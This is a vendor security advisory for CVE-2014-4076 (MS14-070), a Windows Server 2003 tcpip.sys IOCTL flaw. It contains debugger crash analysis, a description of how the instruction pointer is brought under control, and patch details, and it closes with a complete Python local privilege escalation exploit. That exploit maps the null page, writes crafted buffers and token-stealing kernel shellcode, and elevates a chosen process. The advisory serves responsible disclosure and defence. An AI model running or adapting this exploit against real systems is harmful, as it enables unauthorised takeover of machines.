Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation

Vulnerability Description

The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL.

Technical Description

By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges.

This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2.

ErrCode = 00000000
eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270
eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
tcpip!SetAddrOptions+0x1d:
f67ebbbd 8b5e28          mov     ebx,dword ptr [esi+28h] ds:0023:00000028=????????

A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated.

Let’s begin by reviewing the call stack:

kd> kv
*** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr  Args to Child
f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo])
f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo])
f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo])
f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo])
f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo])
f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo])
f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo])
f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo])
f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])

The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called.

By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception.

0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a
eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
nt!NtDeviceIoControlFile+0x2a:
808e912e 5d              pop     ebp
kd> db [ebp+2C] L?0x4
b940dd60  00 00 00 00                                      ....
kd> db [ebp+28] L?0x4
b940dd5c  00 00 00 00                                      ....
kd> db [ebp+24] L?0x4
b940dd58  20 00 00 00                                       ...
kd> db [ebp+20] L?0x4
b940dd54  00 11 00 00                                      ....
kd> db [ebp+1c] L?0x4
b940dd50  28 00 12 00                                      (...
kd> db [ebp+18] L?0x4
b940dd4c  58 4f bd 00                                      XO..
kd> db [ebp+14] L?0x4
b940dd48  00 00 00 00                                      ....
kd> db [ebp+10] L?0x4
b940dd44  00 00 00 00                                      ....
kd> db [ebp+0c] L?0x4
b940dd40  00 00 00 00                                      ....
kd> db [ebp+8] L?0x4
b940dd3c  b8 06 00 00                                      ....

The inputBuffer for this call references memory at 0x1000 with a length of 0x20.

kd> db 0x1100 L?0x20
00001100  00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00  ................
00001110  22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00  "...............

After review of the tcpip.sys driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker.

kd> db 0x28 L?0x11
00000028  87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00  ...8............
00000038  01

eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=0000002a esp=b940db3c ebp=b940db60 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
0000002a ff              ???

Since the instruction pointer now contains 0x0000002a, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process.

Mitigation and Remediation Recommendation

The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor’s public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070).

Credit

This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.

Exploit

#!/usr/bin/python2
#
# KL-001-2015-001 / MS14-070 / CVE-2014-4076
# Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation
# Matt Bergin @ KoreLogic / Level @ Smash the Stack
# shout out to bla
#

from optparse import OptionParser
from subprocess import Popen
from os.path import exists
from struct import pack
from threading import Thread
from time import sleep
from ctypes import *
from sys import exit

CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory
DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

def spawn_process(path):
    process = Popen([path],shell=True)
    pid = process.pid
    return

def main():
    print "CVE-2014-4076 x86 exploit, Level\n"
    global pid, process
    parser = OptionParser()
    parser.add_option("--path",dest="path",help="path of process to start and elevate")
    parser.add_option("--pid",dest="pid",help="pid of running process to elevate")
    o,a = parser.parse_args()
    if (o.path == None and o.pid == None):
        print "[!] no path or pid set"
        exit(1)
    else:
        if (o.path != None):
      if (exists(o.path) != True):
    print "[!] path does not exist"
    exit(1)
      else:
              Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start()
        if (o.pid != None):
            try:
                pid = int(o.pid)
            except:
                print "[!] could not convert PID to an interger."
                exit(1)
    while True:
            if ("pid" not in globals()):
                sleep(1)
            else:
                print "[+] caught attacker cmd at %s, elevating now" % (pid)
                break
    buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
    sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
    sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid))
    sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba")
    sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00")
    handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
    if (handle == -1):
        print "[!] could not open handle into the Tcp device"
        exit(1)
    print "[+] allocating memory"
    ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40)
    if (ret_one != 0):
        print "[!] could not allocate memory..."
        exit(1)
    print "[+] writing relevant memory..."
    ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0)))
    ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0)))
    ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))
    ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0)))
    ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
    print "[+] attack setup done, crane kick!"
    DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)
    CloseHandle(handle)
    exit(0)

if __name__=="__main__":
    main()

The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt